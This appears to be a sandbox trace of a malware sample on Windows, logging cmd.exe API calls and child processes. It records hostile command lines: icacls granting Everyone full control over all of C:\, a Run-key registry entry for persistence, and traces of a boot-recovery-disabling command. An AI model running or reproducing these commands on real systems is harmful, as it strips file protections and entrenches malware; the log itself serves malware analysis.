	[0197.244] FindFirstFileExW (in: lpFileName="C:\\Windows\\bootstatuspolicy ignoreallfailures.*", fInfoLevelId=0x1, lpFindFileData=0x20f6c0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x20f6c0) returned 0xffffffffffffffff
	[0197.245] GetLastError () returned 0x2
	[0197.245] FindFirstFileExW (in: lpFileName="C:\\Windows\\bootstatuspolicy ignoreallfailures", fInfoLevelId=0x1, lpFindFileData=0x20f6c0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x20f6c0) returned 0xffffffffffffffff
	[0197.245] GetLastError () returned 0x2
	[0197.245] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3
	[0197.246] FindFirstFileExW (in: lpFileName="C:\\Windows\\System32\\Wbem\\bootstatuspolicy ignoreallfailures.*", fInfoLevelId=0x1, lpFindFileData=0x20f6c0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x20f6c0) returned 0xffffffffffffffff
	[0197.246] GetLastError () returned 0x2
	[0197.246] FindFirstFileExW (in: lpFileName="C:\\Windows\\System32\\Wbem\\bootstatuspolicy ignoreallfailures", fInfoLevelId=0x1, lpFindFileData=0x20f6c0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x20f6c0) returned 0xffffffffffffffff
	[0197.246] GetLastError () returned 0x2
	[0197.247] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3
	[0197.247] FindFirstFileExW (in: lpFileName="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\bootstatuspolicy ignoreallfailures.*", fInfoLevelId=0x1, lpFindFileData=0x20f6c0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x20f6c0) returned 0xffffffffffffffff
	[0197.252] GetLastError () returned 0x2
	[0197.252] FindFirstFileExW (in: lpFileName="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\bootstatuspolicy ignoreallfailures", fInfoLevelId=0x1, lpFindFileData=0x20f6c0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x20f6c0) returned 0xffffffffffffffff
	[0197.257] GetLastError () returned 0x2
	[0197.257] GetProcessHeap () returned 0x400000
	[0197.258] HeapFree (in: hHeap=0x400000, dwFlags=0x0, lpMem=0x420ca0 | out: hHeap=0x400000) returned 1
	[0197.258] GetProcessHeap () returned 0x400000
	[0197.258] HeapFree (in: hHeap=0x400000, dwFlags=0x0, lpMem=0x424cc0 | out: hHeap=0x400000) returned 1
	[0197.258] GetProcessHeap () returned 0x400000
	[0197.258] HeapFree (in: hHeap=0x400000, dwFlags=0x0, lpMem=0x41cc80 | out: hHeap=0x400000) returned 1
	[0197.259] GetConsoleOutputCP () returned 0x1b5
	[0197.259] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4a04bfe0 | out: lpCPInfo=0x4a04bfe0) returned 1
	[0197.259] GetUserDefaultLCID () returned 0x409
	[0197.261] GetLocaleInfoW (in: Locale=0x409, LCType=0x1e, lpLCData=0x4a047b50, cchData=8 | out: lpLCData=":") returned 2
	[0197.261] GetLocaleInfoW (in: Locale=0x409, LCType=0x23, lpLCData=0x20fba0, cchData=128 | out: lpLCData="0") returned 2
	[0197.261] GetLocaleInfoW (in: Locale=0x409, LCType=0x21, lpLCData=0x20fba0, cchData=128 | out: lpLCData="0") returned 2
	[0197.261] GetLocaleInfoW (in: Locale=0x409, LCType=0x24, lpLCData=0x20fba0, cchData=128 | out: lpLCData="1") returned 2
	[0197.261] GetLocaleInfoW (in: Locale=0x409, LCType=0x1d, lpLCData=0x4a05a740, cchData=8 | out: lpLCData="/") returned 2
	[0197.262] GetLocaleInfoW (in: Locale=0x409, LCType=0x31, lpLCData=0x4a05a4a0, cchData=32 | out: lpLCData="Mon") returned 4
	[0197.262] GetLocaleInfoW (in: Locale=0x409, LCType=0x32, lpLCData=0x4a05a460, cchData=32 | out: lpLCData="Tue") returned 4
	[0197.262] GetLocaleInfoW (in: Locale=0x409, LCType=0x33, lpLCData=0x4a05a420, cchData=32 | out: lpLCData="Wed") returned 4
	[0197.262] GetLocaleInfoW (in: Locale=0x409, LCType=0x34, lpLCData=0x4a05a3e0, cchData=32 | out: lpLCData="Thu") returned 4
	[0197.263] GetLocaleInfoW (in: Locale=0x409, LCType=0x35, lpLCData=0x4a05a3a0, cchData=32 | out: lpLCData="Fri") returned 4
	[0197.263] GetLocaleInfoW (in: Locale=0x409, LCType=0x36, lpLCData=0x4a05a360, cchData=32 | out: lpLCData="Sat") returned 4
	[0197.263] GetLocaleInfoW (in: Locale=0x409, LCType=0x37, lpLCData=0x4a05a700, cchData=32 | out: lpLCData="Sun") returned 4
	[0197.263] GetLocaleInfoW (in: Locale=0x409, LCType=0xe, lpLCData=0x4a047b40, cchData=8 | out: lpLCData=".") returned 2
	[0197.263] GetLocaleInfoW (in: Locale=0x409, LCType=0xf, lpLCData=0x4a05a4e0, cchData=8 | out: lpLCData=",") returned 2
	[0197.263] setlocale (category=0, locale=".OCP") returned="English_United States.437"
	[0197.265] GetProcessHeap () returned 0x400000
	[0197.265] RtlAllocateHeap (HeapHandle=0x400000, Flags=0x0, Size=0x20c) returned 0x41bb70
	[0197.265] GetConsoleTitleW (in: lpConsoleTitle=0x41bb70, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\system32\\cmd.exe") returned 0x1b
	[0197.560] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x76f20000
	[0197.560] GetProcAddress (hModule=0x76f20000, lpProcName="CopyFileExW") returned 0x76f323d0
	[0197.560] GetProcAddress (hModule=0x76f20000, lpProcName="IsDebuggerPresent") returned 0x76f28290
	[0197.560] GetProcAddress (hModule=0x76f20000, lpProcName="SetConsoleInputExeNameW") returned 0x76f317e0
	[0197.561] GetProcessHeap () returned 0x400000
	[0197.561] RtlAllocateHeap (HeapHandle=0x400000, Flags=0x8, Size=0x4012) returned 0x41cc80
	[0197.561] GetProcessHeap () returned 0x400000
	[0197.561] HeapFree (in: hHeap=0x400000, dwFlags=0x0, lpMem=0x41cc80 | out: hHeap=0x400000) returned 1
	[0197.561] GetProcessHeap () returned 0x400000
	[0197.561] RtlAllocateHeap (HeapHandle=0x400000, Flags=0x8, Size=0xb0) returned 0x41bd90
	[0197.561] GetProcessHeap () returned 0x400000
	[0197.562] RtlAllocateHeap (HeapHandle=0x400000, Flags=0x8, Size=0x32) returned 0x416530
	[0197.563] GetProcessHeap () returned 0x400000
	[0197.563] RtlAllocateHeap (HeapHandle=0x400000, Flags=0x8, Size=0x36) returned 0x416570
	[0197.564] GetConsoleTitleW (in: lpConsoleTitle=0x20fab0, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\system32\\cmd.exe") returned 0x1b
	[0197.564] GetProcessHeap () returned 0x400000
	[0197.564] RtlAllocateHeap (HeapHandle=0x400000, Flags=0x8, Size=0x218) returned 0x41be50
	[0197.564] GetProcessHeap () returned 0x400000
	[0197.564] RtlAllocateHeap (HeapHandle=0x400000, Flags=0x8, Size=0x58) returned 0x41c070
	[0197.565] GetProcessHeap () returned 0x400000
	[0197.565] RtlAllocateHeap (HeapHandle=0x400000, Flags=0x8, Size=0x420) returned 0x401320
	[0197.565] SetErrorMode (uMode=0x0) returned 0x0
	[0197.565] SetErrorMode (uMode=0x1) returned 0x0
	[0197.565] GetFullPathNameW (in: lpFileName=".", nBufferLength=0x208, lpBuffer=0x401330, lpFilePart=0x20f340 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFilePart=0x20f340*="Desktop") returned 0x25
	[0197.565] SetErrorMode (uMode=0x0) returned 0x1
	[0197.565] GetProcessHeap () returned 0x400000
	[0197.566] RtlReAllocateHeap (Heap=0x400000, Flags=0x0, Ptr=0x401320, Size=0x7e) returned 0x401320
	[0197.566] GetProcessHeap () returned 0x400000
	[0197.566] RtlSizeHeap (HeapHandle=0x400000, Flags=0x0, MemoryPointer=0x401320) returned 0x7e
	[0197.566] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x4a03f360, nSize=0x2000 | out: lpBuffer="C:\\Windows\\system32;C:\\Windows;C:\\Windows\\System32\\Wbem;C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\") returned 0x63
	[0197.566] NeedCurrentDirectoryForExePathW (ExeName=".") returned 1
	[0197.566] GetProcessHeap () returned 0x400000
	[0197.566] RtlAllocateHeap (HeapHandle=0x400000, Flags=0x8, Size=0x128) returned 0x4013b0
	[0197.566] GetProcessHeap () returned 0x400000
	[0197.566] RtlAllocateHeap (HeapHandle=0x400000, Flags=0x8, Size=0x240) returned 0x4014e0
	[0197.566] GetProcessHeap () returned 0x400000
	[0197.567] RtlReAllocateHeap (Heap=0x400000, Flags=0x0, Ptr=0x4014e0, Size=0x12a) returned 0x4014e0
	[0197.567] GetProcessHeap () returned 0x400000
	[0197.567] RtlSizeHeap (HeapHandle=0x400000, Flags=0x0, MemoryPointer=0x4014e0) returned 0x12a
	[0197.567] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x4a03f360, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35
	[0197.567] GetProcessHeap () returned 0x400000
	[0197.567] RtlAllocateHeap (HeapHandle=0x400000, Flags=0x8, Size=0xe8) returned 0x401620
	[0197.567] GetProcessHeap () returned 0x400000
	[0197.567] RtlReAllocateHeap (Heap=0x400000, Flags=0x0, Ptr=0x401620, Size=0x7e) returned 0x401620
	[0197.567] GetProcessHeap () returned 0x400000
	[0197.567] RtlSizeHeap (HeapHandle=0x400000, Flags=0x0, MemoryPointer=0x401620) returned 0x7e
	[0197.567] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3
	[0197.568] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\bootstatuspolicy.*", fInfoLevelId=0x1, lpFindFileData=0x20f0b0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x20f0b0) returned 0xffffffffffffffff
	[0197.568] GetLastError () returned 0x2
	[0197.568] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\bootstatuspolicy", fInfoLevelId=0x1, lpFindFileData=0x20f0b0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x20f0b0) returned 0xffffffffffffffff
	[0197.569] GetLastError () returned 0x2
	[0197.569] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3
	[0197.569] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\bootstatuspolicy.*", fInfoLevelId=0x1, lpFindFileData=0x20f0b0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x20f0b0) returned 0xffffffffffffffff
	[0197.569] GetLastError () returned 0x2
	[0197.569] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\bootstatuspolicy", fInfoLevelId=0x1, lpFindFileData=0x20f0b0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x20f0b0) returned 0xffffffffffffffff
	[0197.570] GetLastError () returned 0x2
	[0197.570] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3
	[0197.570] FindFirstFileExW (in: lpFileName="C:\\Windows\\bootstatuspolicy.*", fInfoLevelId=0x1, lpFindFileData=0x20f0b0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x20f0b0) returned 0xffffffffffffffff
	[0197.570] GetLastError () returned 0x2
	[0197.570] FindFirstFileExW (in: lpFileName="C:\\Windows\\bootstatuspolicy", fInfoLevelId=0x1, lpFindFileData=0x20f0b0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x20f0b0) returned 0xffffffffffffffff
	[0197.571] GetLastError () returned 0x2
	[0197.571] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3
	[0197.571] FindFirstFileExW (in: lpFileName="C:\\Windows\\System32\\Wbem\\bootstatuspolicy.*", fInfoLevelId=0x1, lpFindFileData=0x20f0b0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x20f0b0) returned 0xffffffffffffffff
	[0197.571] GetLastError () returned 0x2
	[0197.571] FindFirstFileExW (in: lpFileName="C:\\Windows\\System32\\Wbem\\bootstatuspolicy", fInfoLevelId=0x1, lpFindFileData=0x20f0b0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x20f0b0) returned 0xffffffffffffffff
	[0197.572] GetLastError () returned 0x2
	[0197.572] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3
	[0197.572] FindFirstFileExW (in: lpFileName="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\bootstatuspolicy.*", fInfoLevelId=0x1, lpFindFileData=0x20f0b0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x20f0b0) returned 0xffffffffffffffff
	[0197.578] GetLastError () returned 0x2
	[0197.578] FindFirstFileExW (in: lpFileName="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\bootstatuspolicy", fInfoLevelId=0x1, lpFindFileData=0x20f0b0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x20f0b0) returned 0xffffffffffffffff
	[0197.583] GetLastError () returned 0x2
	[0197.583] _get_osfhandle (_FileHandle=2) returned 0xb
	[0197.583] GetFileType (hFile=0xb) returned 0x2
	[0197.584] GetStdHandle (nStdHandle=0xfffffff4) returned 0xb
	[0197.584] GetConsoleMode (in: hConsoleHandle=0xb, lpMode=0x20f508 | out: lpMode=0x20f508) returned 1
	[0197.585] _get_osfhandle (_FileHandle=2) returned 0xb
	[0197.585] GetConsoleScreenBufferInfo (in: hConsoleOutput=0xb, lpConsoleScreenBufferInfo=0x20f540 | out: lpConsoleScreenBufferInfo=0x20f540) returned 1
	[0197.586] FormatMessageW (in: dwFlags=0x1a00, lpSource=0x0, dwMessageId=0x2331, dwLanguageId=0x0, lpBuffer=0x4a056340, nSize=0x2000, Arguments=0x0 | out: lpBuffer="'%1' is not recognized as an internal or external command,\r\noperable program or batch file.\r\n") returned 0x5d
	[0197.587] FormatMessageW (in: dwFlags=0x1800, lpSource=0x0, dwMessageId=0x2331, dwLanguageId=0x0, lpBuffer=0x4a056340, nSize=0x2000, Arguments=0x20f5b0 | out: lpBuffer="'bootstatuspolicy' is not recognized as an internal or external command,\r\noperable program or batch file.\r\n") returned 0x6b
	[0197.587] WriteConsoleW (in: hConsoleOutput=0xb, lpBuffer=0x4a056340*, nNumberOfCharsToWrite=0x6b, lpNumberOfCharsWritten=0x20f530, lpReserved=0x0 | out: lpBuffer=0x4a056340*, lpNumberOfCharsWritten=0x20f530*=0x6b) returned 1
	[0197.588] _get_osfhandle (_FileHandle=1) returned 0x7
	[0197.588] SetConsoleMode (hConsoleHandle=0x7, dwMode=0x3) returned 1
	[0197.589] _get_osfhandle (_FileHandle=1) returned 0x7
	[0197.589] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x4a03e194 | out: lpMode=0x4a03e194) returned 1
	[0197.590] _get_osfhandle (_FileHandle=0) returned 0x3
	[0197.590] GetConsoleMode (in: hConsoleHandle=0x3, lpMode=0x4a03e198 | out: lpMode=0x4a03e198) returned 1
	[0197.591] SetConsoleInputExeNameW () returned 0x1
	[0197.591] GetConsoleOutputCP () returned 0x1b5
	[0197.591] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4a04bfe0 | out: lpCPInfo=0x4a04bfe0) returned 1
	[0197.591] SetThreadUILanguage (LangId=0x0) returned 0x7fffffd0409
	[0197.592] exit (_Code=1) 

Process:
	id = "52"
	image_name = "icacls.exe"
	filename = "c:\\windows\\system32\\icacls.exe"
	page_root = "0x27ea5000"
	os_pid = "0x16bc"
	os_integrity_level = "0x3000"
	os_privileges = "0x60800000"
	monitor_reason = "child_process"
	parent_id = "1"
	os_parent_pid = "0xb98"
	cmd_line = "icacls \"C:\\*\" /grant Everyone:F /T /C /Q"
	cur_dir = "C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\"
	os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz"
	bitness = "32"
	os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000e6e5" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7]


Thread:
	id = 1068
	os_tid = 0x16c0


Thread:
	id = 1481
	os_tid = 0x1cdc


Thread:
	id = 2617
	os_tid = 0x2e40


Thread:
	id = 2621
	os_tid = 0x2e5c


Process:
	id = "53"
	image_name = "cmd.exe"
	filename = "c:\\windows\\system32\\cmd.exe"
	page_root = "0x28c86000"
	os_pid = "0x1ccc"
	os_integrity_level = "0x3000"
	os_privileges = "0x60800000"
	monitor_reason = "child_process"
	parent_id = "1"
	os_parent_pid = "0xb98"
	cmd_line = "\"C:\\Windows\\System32\\cmd.exe\" /C REG ADD \"HKEY_CURRENT_USER\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run\" /v \"EV\" /t REG_SZ /d \"￾￾C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\CusersPublicDHrQU.exe\" /f /reg:64"
	cur_dir = "C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\"
	os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz"
	bitness = "32"
	os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000e6e5" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7]


Thread:
	id = 1479
	os_tid = 0x1cd0

	[0202.217] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x30faf0 | out: lpSystemTimeAsFileTime=0x30faf0*(dwLowDateTime=0x48a28550, dwHighDateTime=0x1d5cdef)) 
	[0202.217] GetCurrentProcessId () returned 0x1ccc
	[0202.217] GetCurrentThreadId () returned 0x1cd0
	[0202.217] GetTickCount () returned 0x117819f
	[0202.217] QueryPerformanceCounter (in: lpPerformanceCount=0x30faf8 | out: lpPerformanceCount=0x30faf8*=34397036882) returned 1
	[0202.220] GetModuleHandleW (lpModuleName=0x0) returned 0x4a010000
	[0202.220] __set_app_type (_Type=0x1) 
	[0202.220] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0x4a037810) returned 0x0
	[0202.221] __getmainargs (in: _Argc=0x4a05a608, _Argv=0x4a05a618, _Env=0x4a05a610, _DoWildCard=0, _StartInfo=0x4a03e0f4 | out: _Argc=0x4a05a608, _Argv=0x4a05a618, _Env=0x4a05a610) returned 0
	[0202.223] GetCurrentThreadId () returned 0x1cd0
	[0202.223] OpenThread (dwDesiredAccess=0x1fffff, bInheritHandle=0, dwThreadId=0x1cd0) returned 0x3c
	[0202.223] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x76f20000
	[0202.223] GetProcAddress (hModule=0x76f20000, lpProcName="SetThreadUILanguage") returned 0x76f36d40
	[0202.223] SetThreadUILanguage (LangId=0x0) returned 0x7fffffd0409
	[0202.224] HeapSetInformation (HeapHandle=0x0, HeapInformationClass=0x1, HeapInformation=0x0, HeapInformationLength=0x0) returned 1
	[0202.224] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\Policies\\Microsoft\\Windows\\System", ulOptions=0x0, samDesired=0x20019, phkResult=0x30fa88 | out: phkResult=0x30fa88*=0x0) returned 0x2
	[0202.225] VirtualQuery (in: lpAddress=0x30fa70, lpBuffer=0x30f9f0, dwLength=0x30 | out: lpBuffer=0x30f9f0*(BaseAddress=0x30f000, AllocationBase=0x210000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0x1000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30
	[0202.225] VirtualQuery (in: lpAddress=0x210000, lpBuffer=0x30f9f0, dwLength=0x30 | out: lpBuffer=0x30f9f0*(BaseAddress=0x210000, AllocationBase=0x210000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0x1000, State=0x2000, Protect=0x0, Type=0x20000, __alignment2=0x0)) returned 0x30
	[0202.225] VirtualQuery (in: lpAddress=0x211000, lpBuffer=0x30f9f0, dwLength=0x30 | out: lpBuffer=0x30f9f0*(BaseAddress=0x211000, AllocationBase=0x210000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0x3000, State=0x1000, Protect=0x104, Type=0x20000, __alignment2=0x0)) returned 0x30
	[0202.225] VirtualQuery (in: lpAddress=0x214000, lpBuffer=0x30f9f0, dwLength=0x30 | out: lpBuffer=0x30f9f0*(BaseAddress=0x214000, AllocationBase=0x210000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0xfc000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30
	[0202.225] VirtualQuery (in: lpAddress=0x310000, lpBuffer=0x30f9f0, dwLength=0x30 | out: lpBuffer=0x30f9f0*(BaseAddress=0x310000, AllocationBase=0x310000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0xe000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30
	[0202.225] GetConsoleOutputCP () returned 0x1b5
	[0202.807] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4a04bfe0 | out: lpCPInfo=0x4a04bfe0) returned 1
	[0202.808] SetConsoleCtrlHandler (HandlerRoutine=0x4a033184, Add=1) returned 1
	[0202.808] _get_osfhandle (_FileHandle=1) returned 0x7
	[0202.808] SetConsoleMode (hConsoleHandle=0x7, dwMode=0x0) returned 1
	[0202.809] _get_osfhandle (_FileHandle=1) returned 0x7
	[0202.809] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x4a03e194 | out: lpMode=0x4a03e194) returned 1
	[0202.810] _get_osfhandle (_FileHandle=1) returned 0x7
	[0202.810] SetConsoleMode (hConsoleHandle=0x7, dwMode=0x3) returned 1
	[0202.811] _get_osfhandle (_FileHandle=0) returned 0x3
	[0202.811] GetConsoleMode (in: hConsoleHandle=0x3, lpMode=0x4a03e198 | out: lpMode=0x4a03e198) returned 1
	[0202.812] _get_osfhandle (_FileHandle=0) returned 0x3
	[0202.812] SetConsoleMode (hConsoleHandle=0x3, dwMode=0x1a7) returned 1
	[0202.813] GetEnvironmentStringsW () returned 0x68c50*
	[0202.813] GetProcessHeap () returned 0x50000
	[0202.813] RtlAllocateHeap (HeapHandle=0x50000, Flags=0x8, Size=0xa7c) returned 0x696e0
	[0202.813] FreeEnvironmentStringsW (penv=0x68c50) returned 1
	[0202.814] GetProcessHeap () returned 0x50000
	[0202.814] RtlAllocateHeap (HeapHandle=0x50000, Flags=0x8, Size=0x8) returned 0x68ad0
	[0202.814] GetEnvironmentStringsW () returned 0x68c50*
	[0202.814] GetProcessHeap () returned 0x50000
	[0202.814] RtlAllocateHeap (HeapHandle=0x50000, Flags=0x8, Size=0xa7c) returned 0x6a170
	[0202.814] FreeEnvironmentStringsW (penv=0x68c50) returned 1
	[0202.814] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="Software\\Microsoft\\Command Processor", ulOptions=0x0, samDesired=0x2000000, phkResult=0x30e948 | out: phkResult=0x30e948*=0x44) returned 0x0
	[0202.815] RegQueryValueExW (in: hKey=0x44, lpValueName="DisableUNCCheck", lpReserved=0x0, lpType=0x30e940, lpData=0x30e960, lpcbData=0x30e944*=0x1000 | out: lpType=0x30e940*=0x0, lpData=0x30e960*=0x18, lpcbData=0x30e944*=0x1000) returned 0x2
	[0202.815] RegQueryValueExW (in: hKey=0x44, lpValueName="EnableExtensions", lpReserved=0x0, lpType=0x30e940, lpData=0x30e960, lpcbData=0x30e944*=0x1000 | out: lpType=0x30e940*=0x4, lpData=0x30e960*=0x1, lpcbData=0x30e944*=0x4) returned 0x0
	[0202.815] RegQueryValueExW (in: hKey=0x44, lpValueName="DelayedExpansion", lpReserved=0x0, lpType=0x30e940, lpData=0x30e960, lpcbData=0x30e944*=0x1000 | out: lpType=0x30e940*=0x0, lpData=0x30e960*=0x1, lpcbData=0x30e944*=0x1000) returned 0x2
	[0202.815] RegQueryValueExW (in: hKey=0x44, lpValueName="DefaultColor", lpReserved=0x0, lpType=0x30e940, lpData=0x30e960, lpcbData=0x30e944*=0x1000 | out: lpType=0x30e940*=0x4, lpData=0x30e960*=0x0, lpcbData=0x30e944*=0x4) returned 0x0
	[0202.815] RegQueryValueExW (in: hKey=0x44, lpValueName="CompletionChar", lpReserved=0x0, lpType=0x30e940, lpData=0x30e960, lpcbData=0x30e944*=0x1000 | out: lpType=0x30e940*=0x4, lpData=0x30e960*=0x40, lpcbData=0x30e944*=0x4) returned 0x0
	[0202.816] RegQueryValueExW (in: hKey=0x44, lpValueName="PathCompletionChar", lpReserved=0x0, lpType=0x30e940, lpData=0x30e960, lpcbData=0x30e944*=0x1000 | out: lpType=0x30e940*=0x4, lpData=0x30e960*=0x40, lpcbData=0x30e944*=0x4) returned 0x0
	[0202.816] RegQueryValueExW (in: hKey=0x44, lpValueName="AutoRun", lpReserved=0x0, lpType=0x30e940, lpData=0x30e960, lpcbData=0x30e944*=0x1000 | out: lpType=0x30e940*=0x0, lpData=0x30e960*=0x40, lpcbData=0x30e944*=0x1000) returned 0x2
	[0202.816] RegCloseKey (hKey=0x44) returned 0x0
	[0202.816] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Command Processor", ulOptions=0x0, samDesired=0x2000000, phkResult=0x30e948 | out: phkResult=0x30e948*=0x44) returned 0x0
	[0202.816] RegQueryValueExW (in: hKey=0x44, lpValueName="DisableUNCCheck", lpReserved=0x0, lpType=0x30e940, lpData=0x30e960, lpcbData=0x30e944*=0x1000 | out: lpType=0x30e940*=0x0, lpData=0x30e960*=0x40, lpcbData=0x30e944*=0x1000) returned 0x2
	[0202.816] RegQueryValueExW (in: hKey=0x44, lpValueName="EnableExtensions", lpReserved=0x0, lpType=0x30e940, lpData=0x30e960, lpcbData=0x30e944*=0x1000 | out: lpType=0x30e940*=0x4, lpData=0x30e960*=0x1, lpcbData=0x30e944*=0x4) returned 0x0
	[0202.816] RegQueryValueExW (in: hKey=0x44, lpValueName="DelayedExpansion", lpReserved=0x0, lpType=0x30e940, lpData=0x30e960, lpcbData=0x30e944*=0x1000 | out: lpType=0x30e940*=0x0, lpData=0x30e960*=0x1, lpcbData=0x30e944*=0x1000) returned 0x2
	[0202.816] RegQueryValueExW (in: hKey=0x44, lpValueName="DefaultColor", lpReserved=0x0, lpType=0x30e940, lpData=0x30e960, lpcbData=0x30e944*=0x1000 | out: lpType=0x30e940*=0x4, lpData=0x30e960*=0x0, lpcbData=0x30e944*=0x4) returned 0x0
	[0202.817] RegQueryValueExW (in: hKey=0x44, lpValueName="CompletionChar", lpReserved=0x0, lpType=0x30e940, lpData=0x30e960, lpcbData=0x30e944*=0x1000 | out: lpType=0x30e940*=0x4, lpData=0x30e960*=0x9, lpcbData=0x30e944*=0x4) returned 0x0
	[0202.817] RegQueryValueExW (in: hKey=0x44, lpValueName="PathCompletionChar", lpReserved=0x0, lpType=0x30e940, lpData=0x30e960, lpcbData=0x30e944*=0x1000 | out: lpType=0x30e940*=0x4, lpData=0x30e960*=0x9, lpcbData=0x30e944*=0x4) returned 0x0
	[0202.817] RegQueryValueExW (in: hKey=0x44, lpValueName="AutoRun", lpReserved=0x0, lpType=0x30e940, lpData=0x30e960, lpcbData=0x30e944*=0x1000 | out: lpType=0x30e940*=0x0, lpData=0x30e960*=0x9, lpcbData=0x30e944*=0x1000) returned 0x2
	[0202.817] RegCloseKey (hKey=0x44) returned 0x0
	[0202.817] time (in: timer=0x0 | out: timer=0x0) returned 0x5e22e6a0
	[0202.817] srand (_Seed=0x5e22e6a0) 
	[0202.817] GetCommandLineW () returned="\"C:\\Windows\\System32\\cmd.exe\" /C REG ADD \"HKEY_CURRENT_USER\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run\" /v \"EV\" /t REG_SZ /d \"￾￾C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\CusersPublicDHrQU.exe\" /f /reg:64"
	[0202.817] GetCommandLineW () returned="\"C:\\Windows\\System32\\cmd.exe\" /C REG ADD \"HKEY_CURRENT_USER\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run\" /v \"EV\" /t REG_SZ /d \"￾￾C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\CusersPublicDHrQU.exe\" /f /reg:64"
